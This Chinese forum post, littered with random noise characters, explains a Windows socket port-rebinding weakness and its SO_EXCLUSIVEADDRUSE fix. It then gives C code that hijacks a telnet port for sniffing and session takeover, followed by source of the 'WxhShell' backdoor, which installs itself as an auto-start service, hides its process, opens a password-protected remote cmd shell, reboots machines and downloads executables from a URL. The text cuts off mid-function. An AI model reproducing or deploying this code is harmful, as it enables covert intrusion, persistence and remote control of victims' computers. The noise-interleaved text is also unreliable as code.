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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: EF#QH
_X s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); j?6X1cM q ]5'
d&f saddr.sin_family = AF_INET; z
x@$RS+] N2ied^* 0 saddr.sin_addr.s_addr = htonl(INADDR_ANY); a^t?vv m}3gZu] bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Ow:1?Z{4 KL [ek 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 e)H!uR xyA-P& N 这意味着什么?意味着可以进行如下的攻击: fY,|o3# #Yuvbb[ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 \K
iwUz EpYy3^5d 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ;
A,#;%j jZpa0g rA 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 !TKkec8$ ~Rpm-^ 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 kW@,$_cK uH@FU60 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 R@iUCT^$ J=W0Xi! 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 5D Y\:AF j(rL 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ]m4OIst 4)6xU4eBaL #include C&~1M}I #include ObG|o1b #include a4MZ;5
#include 1ocJ+ DWORD WINAPI ClientThread(LPVOID lpParam); $ ((6=39s int main() *sw7niw { "2?l{4T\ WORD wVersionRequested; j*v40mXl`2 DWORD ret; S6d`ioi- WSADATA wsaData; R\|lt)h BOOL val; h#r^teui) SOCKADDR_IN saddr; Pmg)v!" SOCKADDR_IN scaddr; ~EzaC?fQ int err; V'Kgdj SOCKET s; e({9] SOCKET sc; N6OMYP1 int caddsize; Ycr3HLJy HANDLE mt; %V`F!D<D DWORD tid; j%u-dr wVersionRequested = MAKEWORD( 2, 2 ); mW2,1}Jv err = WSAStartup( wVersionRequested, &wsaData ); m([(:.X/IX if ( err != 0 ) { 6lwta`2 printf("error!WSAStartup failed!\n"); |BT MJ:B return -1; ^9OUzTF } "xmP6=1 saddr.sin_family = AF_INET; E/&Rb*3 1"7Sy3 //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 acP+3u?r aprm0:Q^ saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Zn=T#o saddr.sin_port = htons(23); kE8>dmH23 if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Wz4&7KYY { zya5Jb:Sg printf("error!socket failed!\n"); \Ng\B.IQ return -1; \<Sv3xy&O } u]
:m"LM val = TRUE; }8|[;Qa`y //SO_REUSEADDR选项就是可以实现端口重绑定的 /={Js* if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) G+xt5n.% { D4eTTfQ printf("error!setsockopt failed!\n"); tWTKgbj( return -1; hz;|NW{u } Z/x*Y#0@n //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; f<=Fsl //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ;*ix~taL% //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 '7wd$rl ih,%i4<}6m if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ah
@uUHB { :@W.K5 ret=GetLastError(); NNhL*C[_7 printf("error!bind failed!\n"); Xs&TJ8a return -1; uw\2qU3gk } WW+l' 6. listen(s,2); k#8Ti"0 while(1) ES~^M840f { iwz caddsize = sizeof(scaddr); HEL!GC># //接受连接请求 c_aZ{S sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 5D M"0 if(sc!=INVALID_SOCKET) -9RDr\&`( { MMB@.W mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); />'V!iWyz if(mt==NULL) } VJfJ/ { vZ/6\Cz printf("Thread Creat Failed!\n"); xtPLR/Z break; L9pvG(R% } lis/`B\x } *
tCS CloseHandle(mt); JN^&S } SN4Q))dAU closesocket(s); `%+ mO88o WSACleanup(); ]E =Iu return 0; *Av"JAX } (-]r~Ol^ DWORD WINAPI ClientThread(LPVOID lpParam) q-nSLE+_; { x^Yl*iq SOCKET ss = (SOCKET)lpParam; %Qg+R26U SOCKET sc; z
<mK>$ unsigned char buf[4096]; KH\b_>wU2 SOCKADDR_IN saddr; &//wSlL3 long num; E_KCNn-f DWORD val; {t};-q!v$j DWORD ret; qE'9QQ>:b //如果是隐藏端口应用的话,可以在此处加一些判断 e8YMX&0% //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 m<L; saddr.sin_family = AF_INET; rc+C?)S saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); =rdY
@ saddr.sin_port = htons(23); 1&fc1uYB4 if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) PoEqurH0 { r kiT1YTY printf("error!socket failed!\n"); )54%HM_$k return -1; qV5DW0. } G=;k=oX( val = 100; ?"?6,;F(4 if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) .NtbL./=| { ,=?{("+ ret = GetLastError(); "[}O"LTQ return -1; V\(:@0" } V]*b4nX7 if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) fgihy { FU=w(< R; ret = GetLastError(); Ra*e5 return -1; kB5.(O } NrP0Ep%V if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) p ?wI9GY { '`1CBU$ printf("error!socket connect failed!\n"); (98Nzgxgx} closesocket(sc); 42>Ge>#F closesocket(ss); Qt]Q:9I[ return -1; e#/E~r& } .9O$G2'oh while(1) 1-.~7yC { rJ KZ)N{ //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 5NJ4 //如果是嗅探内容的话,可以再此处进行内容分析和记录 hzk6rYg1 //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 nQ|r"|g num = recv(ss,buf,4096,0); r\nx= if(num>0) ie-vqLc send(sc,buf,num,0); zE;bBwy& else if(num==0) r>GZ58i break; #+$Q+Z|6k num = recv(sc,buf,4096,0); v&Kqq!DE if(num>0) !mXxAo send(ss,buf,num,0); }w4QP+ x else if(num==0) \M'-O YH_[ break; )Ud-}* g } L@JOGCYy closesocket(ss); W2uOR{
'? closesocket(sc); p&VU0[LIC0 return 0 ; :!zl^J; } &@ JvnO: (k np# 9'hv%A:\3 ========================================================== };'\~g,1 %LYnxo7#C 下边附上一个代码,,WXhSHELL xq"Jy=4Q* #97h6m? ========================================================== Fs[aa#v4B VbBPB5 $q #include "stdafx.h" u{["50~ B c2p(z4 #include <stdio.h> >vo=]cw #include <string.h> y\{%\ $ #include <windows.h> ax
41N25 #include <winsock2.h> DNP13wp@ #include <winsvc.h> .jMq #include <urlmon.h> A<;SnXm %kgkXc~6|x #pragma comment (lib, "Ws2_32.lib") +**!@uY #pragma comment (lib, "urlmon.lib") bTQNb!& h<~7"ONhV #define MAX_USER 100 // 最大客户端连接数 soCi[j$lH #define BUF_SOCK 200 // sock buffer [
Bl c^C{f #define KEY_BUFF 255 // 输入 buffer }B~If}7 svXR<7)# #define REBOOT 0 // 重启 /PsnD_s]5 #define SHUTDOWN 1 // 关机 }jill+] A=Ss6-Je #define DEF_PORT 5000 // 监听端口 %c[ V #pcP! #define REG_LEN 16 // 注册表键长度 8b0d]*q #define SVC_LEN 80 // NT服务名长度 %u;~kP|S% z2Z^~,i // 从dll定义API 7=(Hy\Q5xH typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); a'\o7_ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Mfv1Os:ST typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 41SGWAd#: typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ? R>h ` fU!<HDh // wxhshell配置信息 9uWY@zu struct WSCFG { /> 4"~q) int ws_port; // 监听端口 "O(9 m.CZ char ws_passstr[REG_LEN]; // 口令 }pJwj int ws_autoins; // 安装标记, 1=yes 0=no P (S>=,Y& char ws_regname[REG_LEN]; // 注册表键名
YtO|D char ws_svcname[REG_LEN]; // 服务名 H*9~yT'Q char ws_svcdisp[SVC_LEN]; // 服务显示名 @Vu(XG char ws_svcdesc[SVC_LEN]; // 服务描述信息 ~H!S,"n^,P char ws_passmsg[SVC_LEN]; // 密码输入提示信息 8zMu7,E int ws_downexe; // 下载执行标记, 1=yes 0=no IT$25ZF char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" \}]!)}G char ws_filenam[SVC_LEN]; // 下载后保存的文件名 O`vTnrY Zkf0p9h\ }; DfKr[cqLM
`7H4Y&E // default Wxhshell configuration yeHDa+} struct WSCFG wscfg={DEF_PORT, VWO9=A*Y| "xuhuanlingzhe", o: ;"w"G 1, 0
Us5 "Wxhshell", Qqlup "Wxhshell", ":_vK}5 "WxhShell Service", 2=_gf "Wrsky Windows CmdShell Service", f47M#UC "Please Input Your Password: ", zhf.NCSt( 1, O eL}EVs8= " http://www.wrsky.com/wxhshell.exe", Bm]8m=p "Wxhshell.exe" wg w(YU }; QD%L0;j <^$<#Kd // 消息定义模块 NB<A>baL* char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 2+X\}s1vN char *msg_ws_prompt="\n\r? for help\n\r#>"; *E{2J:` char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; \_B[{e7z char *msg_ws_ext="\n\rExit."; %RDI!e<e} char *msg_ws_end="\n\rQuit."; Qca&E`~Q char *msg_ws_boot="\n\rReboot..."; 7NJhRz`_ char *msg_ws_poff="\n\rShutdown..."; R+CM`4CD char *msg_ws_down="\n\rSave to "; O|w J) KIWe@e char *msg_ws_err="\n\rErr!"; %dY<=x#b char *msg_ws_ok="\n\rOK!"; xNbPsoK yiO.z char ExeFile[MAX_PATH]; o^
XtU5SVq int nUser = 0; []D@Q+1 HANDLE handles[MAX_USER]; 2p"WTd int OsIsNt; p/h
Rk<K6 5L!y-3 SERVICE_STATUS serviceStatus; tToTxf~ SERVICE_STATUS_HANDLE hServiceStatusHandle; 7nuU^wc AnT3M.>ek // 函数声明 p|]\P%,\ int Install(void); tPF.r int Uninstall(void); ^#sU*trr int DownloadFile(char *sURL, SOCKET wsh); QqU!Najf int Boot(int flag); !/wtYI-` void HideProc(void); mrw=T. int GetOsVer(void); *M"}z int Wxhshell(SOCKET wsl); Y0X-Zqk' void TalkWithClient(void *cs); z[;z>8|c int CmdShell(SOCKET sock); k5T,990 int StartFromService(void); /3{b%0Aa int StartWxhshell(LPSTR lpCmdLine); hvaSH69*m 5;HH4?]p VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Gy(=706 VOID WINAPI NTServiceHandler( DWORD fdwControl ); 87YyDWTn /gG"v5] // 数据结构和表定义 )-._FOZ6 SERVICE_TABLE_ENTRY DispatchTable[] = =&:Y6XP { Ywwu0.H< {wscfg.ws_svcname, NTServiceMain}, ' <=+;q {NULL, NULL} GN2Sn`; }; yNbjoFM.i pfI"36]F // 自我安装 m|G'K[8 int Install(void) T~='5iy| { q7E~+p(>( char svExeFile[MAX_PATH]; =y!$/(H HKEY key; R~6$oeWAw strcpy(svExeFile,ExeFile); c??mL4$'N ruy}/7uf // 如果是win9x系统,修改注册表设为自启动 g?ULWeZg5 if(!OsIsNt) { _D+J!f^ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { X93!bB RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); r!
MWbFw|X RegCloseKey(key); N}t
2Nu- if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { \7'+h5a RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 0ik7v<: RegCloseKey(key); 9_5ow return 0; |/)${*a4n } :n-]>Q>5=k } s']Bx= } $A-J,_:T< else { B]l)++~ y9Us n8 // 如果是NT以上系统,安装为系统服务 sc,vj'r SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); )'+8}T]xQ if (schSCManager!=0) WA&!;Zq { $F5 b SC_HANDLE schService = CreateService #e$5d>j( ( h[@tZ(jrY schSCManager, 9'X7wG wscfg.ws_svcname, 3z c U%* wscfg.ws_svcdisp, Zo~ SERVICE_ALL_ACCESS, @P?~KW6<| SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , io8'g3< SERVICE_AUTO_START, #iHs*
/85 SERVICE_ERROR_NORMAL, O[ef#R! svExeFile, Fkd+pS\9g~ NULL, %Da1(bBh NULL, WL"^>[Vq NULL, TtTj28k7 NULL, j=r P:# NULL bl&nhI)w ); tu66'z if (schService!=0) *(T:,PY { /$p6'1P8 CloseServiceHandle(schService); R1$:~p2m CloseServiceHandle(schSCManager);
t!_<~ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
ElW~48 strcat(svExeFile,wscfg.ws_svcname); 1^}[&ar if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { b?lD(fa& RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); =h5H~G5AT RegCloseKey(key); ]z/8KL return 0; oV|4V:G q } \6 Zr } 0i\M,TNf* CloseServiceHandle(schSCManager); -^hWM}F } EZ`te0[ }
BdH-9n~, 3!|;iJRH return 1; ud'-;W } "4{LN}` ^Dn D>h@q // 自我卸载
:7]Sa` int Uninstall(void) [R^iF { Ay0U=#XP HKEY key; 2$g6}A`r >8#X;0\Kj if(!OsIsNt) { SPY|K if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Ssou RegDeleteValue(key,wscfg.ws_regname); dQA'($ RegCloseKey(key); 9CWezI+ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { )9"_J9G RegDeleteValue(key,wscfg.ws_regname); r\-uJ~8N RegCloseKey(key); b((M)Gz return 0; {CGUL|y } _C*fs<# } @] DVD } nz=GlO'[ else { q(.sq12<<W 3 09hn SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); I%j|D#qY:T if (schSCManager!=0) PIoLywpRn { 87
$dBb{ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); .yqM7U_ if (schService!=0) f=r<nb'H { -~v2BN/ if(DeleteService(schService)!=0) { R\G0'?h
> CloseServiceHandle(schService); bU2Z[sn. CloseServiceHandle(schSCManager); ][+#;avU return 0; 5A3xVN= } 26I_YL,S CloseServiceHandle(schService); W_\5nF } c|B.n]Z CloseServiceHandle(schSCManager); !h23cj+V } = C8 ?M } EIf5(/jo kwo3`b return 1; KyYM fC } gM
u"2I5 .*Ct bGw // 从指定url下载文件 $j5K8Ad int DownloadFile(char *sURL, SOCKET wsh) emqZztccZ { #*K}IBz HRESULT hr; 8<pzb}xK char seps[]= "/"; >,$_| C char *token; z"-u95H char *file; *
KDI}B> char myURL[MAX_PATH];
!sQY&* char myFILE[MAX_PATH]; ZojIR\F^ ff,pvk8N5 strcpy(myURL,sURL); "/3'XOK| token=strtok(myURL,seps); @s ? while(token!=NULL) l1OE!W W { P2BWuhF file=token; 8*#R]9 token=strtok(NULL,seps); RI
5yF } bpJ(XN}E Z<1FSk,[ GetCurrentDirectory(MAX_PATH,myFILE); "U>JM@0DNm strcat(myFILE, "\\"); 4:$4u@ strcat(myFILE, file); Xqg@ e:g send(wsh,myFILE,strlen(myFILE),0); \r^qL^ send(wsh,"...",3,0); B%)% hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); O`x;,6Vr if(hr==S_OK) q<[P6}. return 0; zZPuha8 else e6R}0w~G return 1; _~IR6dKE B(LWdap~ } ~:kZgUP_f 42{Ew8 // 系统电源模块 m ZtCL int Boot(int flag) #%iDT6 { eL10Q(;P` HANDLE hToken; 3G,Oba[$< TOKEN_PRIVILEGES tkp; :DrWq{4 `w#Oih!6A| if(OsIsNt) { v5!d$Vctu OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 2&:f&" LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); DBW[{DE tkp.PrivilegeCount = 1; WejYy| tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; `<``8 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); b~KDP+Ri if(flag==REBOOT) { Q]Y*K if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) #^lL5= return 0; L-jJg,eY } bhTb[r else { u)X=Qm) if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) we~[ ]
\
return 0; :q$.,EZ4#n } V)Z}En["1 } >Wm`v.- else { YSr9VpqWV if(flag==REBOOT) { Xb:;</ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) c]x1HvPE return 0; Qi,j+xBp } ZXqSH${Tp else { 2Nu=/tMN if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) hm84Aq= f return 0; tX9{hC^ } 1->dMm}G[ } jqWu \f]k CB return 1; a]JYDq`,3 } BWeA@v [pC$+NX // win9x进程隐藏模块 J`peX0Stl void HideProc(void) 3 R=,1< { !o5
W ^W`<gR HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 5A)2} D] if ( hKernel != NULL ) (Mo*^pVr { KSbKEA pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); wj*,U~syB ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Jj>?GAir FreeLibrary(hKernel); <{dVKf,e } r@72|:, 4,bv)Im+ ` return; Ttu2 skcv } p#ol*m5wE A_XY'z 1 // 获取操作系统版本 mC4zactv int GetOsVer(void) e}D3d=6` { S@jQX OSVERSIONINFO winfo; K,Ef9c/+K winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ^!<U_;+ GetVersionEx(&winfo); l7XUXbYp&= if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 03|PYk 6EW return 1; \l'm[jy> else Lz`E;k^ return 0; \s/s7y6b+ } oiF}?:7Q7 8ZM?)#`@{ // 客户端句柄模块 5m*iE*+ int Wxhshell(SOCKET wsl) WQ~;;.v# { <Y*+|T+&d SOCKET wsh; $h2){*5E{ struct sockaddr_in client; mPOGidxix DWORD myID; K{x\4 X>1,!I9 while(nUser<MAX_USER) J ][T"K { q- int nSize=sizeof(client); M`. tf_x wsh=accept(wsl,(struct sockaddr *)&client,&nSize); !S^AgZ~ if(wsh==INVALID_SOCKET) return 1; HFKfkAl ) brVduB handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); p31NIf` if(handles[nUser]==0) >sfRI]OG closesocket(wsh); 00G%gQXk, else S/}2; \Xm nUser++; gwOa$f%O } qIVx9jNN WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); -l`f)0{ "oTHq]Ku return 0; WB?jRYp } OP~HdocB t|H^`Cv6 // 关闭 socket cQ/5qg void CloseIt(SOCKET wsh) R{WE\T ' { 9*2[B"5 closesocket(wsh); C\3y {s nUser--; r;/4F/6" ExitThread(0); {%<OD8>p } oo,uO;0G pf%=h
| // 客户端请求句柄 NgADKrDU void TalkWithClient(void *cs) $LKIT0 { }O/U;4Z $Wjww-mx SOCKET wsh=(SOCKET)cs; j K!Au char pwd[SVC_LEN]; FemCLvu char cmd[KEY_BUFF]; PpGL/,]X char chr[1]; w QgoN% int i,j; ||T2~Q*:y 8
BY j while (nUser < MAX_USER) { zAK+8{, {!.(7wV\ if(wscfg.ws_passstr) { VO,!x~S! if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); RS"H8P4W //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); e>7]w,*| //ZeroMemory(pwd,KEY_BUFF); e&simX;W i=0; *v;!-F&8> while(i<SVC_LEN) { c]$i\i# qHsUP;7 // 设置超时 k>F'ypm fd_set FdRead; bBu,#Mc struct timeval TimeOut; @PN#p"KaT FD_ZERO(&FdRead); g'pK FD_SET(wsh,&FdRead); +1Vjw'P TimeOut.tv_sec=8; CAWA3fcQp TimeOut.tv_usec=0; iocI:b< int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); +!k&Yje if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); H9KKed47d/ N8!cO[3Oh if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); {kp-h2I, pwd =chr[0]; %u`8minCt if(chr[0]==0xd || chr[0]==0xa) { J1/?JfF pwd=0; stG~AC break; 8;z6=.4xtg } IYqBQnX}oM i++; @En^wN } g3Ec"_>P Mx6@$tQ% // 如果是非法用户,关闭 socket /,1D)0 if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); \X<bH&x:z } vbkI^+=,YY z3`-plE send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); I'\kFjc send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); *7*lE"$p y#>,+a#5 while(1) { nnCGg+l
~1cnE:x;V ZeroMemory(cmd,KEY_BUFF); $@sEn4h un shH < // 自动支持客户端 telnet标准 FjK3
.>' j=0; ?;KKw* while(j<KEY_BUFF) { lwHzj&/ ~ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); +)k b( cmd[j]=chr[0]; {SwQ[$k=_ if(chr[0]==0xa || chr[0]==0xd) { @'YS1 N< cmd[j]=0; @L>q(Kg break; bIGHGd } 4Yxo~ m( j++; ML:Q5 ^` } k xP-,MD uJOJ-5}yt // 下载文件 (H)2s Y if(strstr(cmd,"http://")) { `o<'
x.I send(wsh,msg_ws_down,strlen(msg_ws_down),0); |B.0TdF if(DownloadFile(cmd,wsh)) C2@,BCR send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ol1e/Wv else nFE4qm send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =3|O%\ } c05TsMF&O else {
-%2[2p ;ToKJ6hN|* switch(cmd[0]) { g1XZ5P} f zEs>b(5u // 帮助 3l)h yVf& case '?': { UH]l9Aq$P send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); TS /.`.gT break; P6!jRC"52' } eL^.,H0 // 安装 NxjB/N
case 'i': { +cIUGFp} if(Install()) k9)jjR*XxG send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6Pnk5ps }h else < XP9@t&
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ' pm2n0 break; =.y~f A! } D<|qaHB= // 卸载 e"/;7:J5\ case 'r': { ] x\-$~E if(Uninstall()) O_$m!5ug send(wsh,msg_ws_err,strlen(msg_ws_err),0); zV:pQRbt. else &$"i,~q^b send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Xg<*@4RD8 break; SeHagKA } 9l}FU$ // 显示 wxhshell 所在路径 t0z!DOODZP case 'p': { ~(x;5{ char svExeFile[MAX_PATH]; [`p=(/I&L strcpy(svExeFile,"\n\r"); MxWy*|J} strcat(svExeFile,ExeFile); bSsh^Z send(wsh,svExeFile,strlen(svExeFile),0); *\=.<|H Z break; ?z}=B } hZh9uI7. // 重启 ^[]}R: case 'b': { #Xhdn\7 send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); P/xKnm~ if(Boot(REBOOT)) R16'?, send(wsh,msg_ws_err,strlen(msg_ws_err),0); XpmS{nb else { w:s]$:MA8 closesocket(wsh); io,M{Ib ExitThread(0); T6H}/#*tK } MxSM@3 v( break; )ap_Z6 } I"Ms-zs // 关机 r)Ap8?+ case 'd': { V2$h8\a send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); !6s"]WvF if(Boot(SHUTDOWN)) 1&^MfP} send(wsh,msg_ws_err,strlen(msg_ws_err),0); d@ Y}SWTB else { ]04e1F1J closesocket(wsh); QA2borfy ExitThread(0); j{Hao\F8 } oo.! .Kv break; _cy2z } {z(xFrY // 获取shell .uyGYj-C case 's': { ZQ)>s>- CmdShell(wsh); Yu?95qk tP closesocket(wsh); <,3^|$c% ExitThread(0); %6L^2
X break; b8LoIY* } fQL"O}Z // 退出 g0>,%b case 'x': { e?_@aa9~@{ send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 70f Klp CloseIt(wsh); +x_Rfk$fb break; {.Z}5K } 5WC+guK7 // 离开 [|P!{?A43| case 'q': { A;/-u<f send(wsh,msg_ws_end,strlen(msg_ws_end),0); vw>2(K=e1 closesocket(wsh); '|S%aMLZ) WSACleanup(); w=j exit(1); CamE' break; 1QmH{jM } T.Ryy"%F } U>V&-kxtV } u}!@ ,/) 'd+NVj{C // 提示信息 ##@$|6 if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); mjWU0Gh%* } PZ{Dv'C } KN7^:cC K$ M^gh0 return; A81ls#is } U+)xu>I
3dht!7/ // shell模块句柄 _<a7CCg int CmdShell(SOCKET sock) e=4+$d { oI}kH=<, STARTUPINFO si; DA2}{ ZeroMemory(&si,sizeof(si)); UilMv~0 si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Vs%|pIV si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; QmLF[\Oo_ PROCESS_INFORMATION ProcessInfo; .A-]_98Z char cmdline[]="cmd"; 6U[4%( CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ;QW3CEaUq return 0; ([-|} } Z^]|o<.<I DyeQJ7p // 自身启动模式 @J5Jpt*IE int StartFromService(void) uq,
{tV { x~GQV^(l3 typedef struct {"&SJt[%X { OCZ[D{i9@ DWORD ExitStatus; x9x E& DWORD PebBaseAddress; 87:!C5e} DWORD AffinityMask; 5B&;uY DWORD BasePriority; C?i >.t ULONG UniqueProcessId; D\[h:8k ULONG InheritedFromUniqueProcessId; ~er\~kp } PROCESS_BASIC_INFORMATION; X{we/'> 6B@CurgB PROCNTQSIP NtQueryInformationProcess; YO}1(m wjh=Q static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; _)]+hUwY static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; N\HQN0d9 tID%}Z v HANDLE hProcess; &}?$i7x5 PROCESS_BASIC_INFORMATION pbi; ;5tazBy&:C zo[[>MA HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ]J:1P`k. if(NULL == hInst ) return 0; 1gmt2>#v% U5-@2YcH g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); d'/TdVM g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); J|X
